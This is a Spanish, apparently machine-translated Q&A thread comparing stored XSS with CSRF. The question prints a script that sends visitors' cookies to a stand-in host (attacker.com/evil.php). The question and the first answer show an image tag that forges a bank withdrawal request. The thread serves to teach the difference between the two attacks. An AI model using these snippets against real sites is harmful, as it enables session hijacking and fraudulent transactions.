Tipo 2 XSS vs CSRF

Navega tus respuestas
11

Al tratar de crear una comprensión completa de XSS y CSRF, tengo claro que un tipo 2 xss implica un exploit que es persistente en el servidor.

por ejemplo 

<SCRIPT type="text/javascript">
new Image().src = 'http://www.attacker.com/evil.php?cookie=' + escape(document.cookie);
</SCRIPT>

Si el script anterior forma parte de una publicación en un foro que es vulnerable a xss, cada usuario que visite la página enviará su cookie a attacker.com a través de evil.php.

¿En qué se diferencia esto de CSRF?

por ejemplo Una publicación en un foro puede ser: -  Eve: Hola Alice! Mira aquí: 

<img src="http://bank.example.com/withdraw?account=Alice&amount=1000000&for=Eve">

Meparecequeenamboscasos,seinvocaunaurlremotayambassonpersistentesenelservidor.

Referencias:

enlace

enlace

    
pregunta Karan 12.05.2013 - 09:10
fuente

2 respuestas

7

Debido a la política del mismo origen , en el caso de XSS, el script debe cargarse en el navegador del usuario. en una página en el mismo dominio que intentas atacar.

Entonces, para robar una cookie example.com de un usuario, debe "inyectar" ese JavaScript en una página en example.com . Por ejemplo, example.com/viewArticle.php?id=4123&comments=1 donde la sección de comentarios es vulnerable a un XSS.

En el segundo caso, si desea que el navegador del usuario envíe una solicitud utilizando la sesión del usuario, es suficiente para que el usuario visite una página evil.com/lolcats.html que contiene 

<img src="http://bank.example.com/withdraw?account=Alice&amount=1000000&for=Eve">

Tenga en cuenta que realmente no pusimos ningún script o código en bank.example.com .

    
respondido por el Adi 12.05.2013 - 09:41
fuente
6

XSS se produce cuando una parte de los scripts del navegador provenientes de fuentes de terceros se inyecta en el contenido de un sitio web vulnerable, lo que puede considerarse como una instrucción para que el navegador del usuario "presente" un sitio web. En la terminología de la web, el navegador del usuario cree que tales instrucciones son legítimas dentro del dominio del sitio web. En el escenario XSS, el contenido devuelto contiene scripts inyectados que en realidad no son lo que quiere el sitio web (por lo tanto, "de ubicación cruzada"), pero el navegador aún cree que son legítimos y sigue las instrucciones (incluida la ejecución del script del navegador inyectado). >

Por lo tanto, el ataque XSS está " explotando la confianza del navegador del usuario en el contenido devuelto desde un sitio web vulnerable" .

La CSRF se produce cuando un tercero puede activar una solicitud para que se envíe desde el navegador de un usuario víctima al sitio web vulnerable y se procese. Esto es posible porque desde el punto de vista del sitio web, la solicitud parece ser legítima (enviada desde el navegador del usuario - > es posible que contenga las cookies necesarias). De manera similar a XSS, en la terminología actual de la web, los sitios web creen que todas las solicitudes enviadas desde navegadores de usuarios válidos son acciones legítimas que el usuario realmente "inicia" (por ejemplo, al hacer clic en el botón deseado), pero no lo es.

Por lo tanto, el ataque CSRF es " explotando la confianza de un sitio web vulnerable en las solicitudes enviadas por el navegador de un usuario víctima" . (Que en realidad es lo contrario de XSS)

XSS y CSRF a menudo se mezclan porque en muchos escenarios, CSRF se explota a través de la vulnerabilidad de XSS, pero tener la condición XSS no es una condición necesaria para CSRF

    
respondido por el circle 12.05.2013 - 15:14
fuente

Lea otras preguntas en las etiquetas

¿Es seguro sincronizar claves privadas entre dispositivos iOS usando iCloud? Perdí mi clave privada PGP, ¿qué sigue?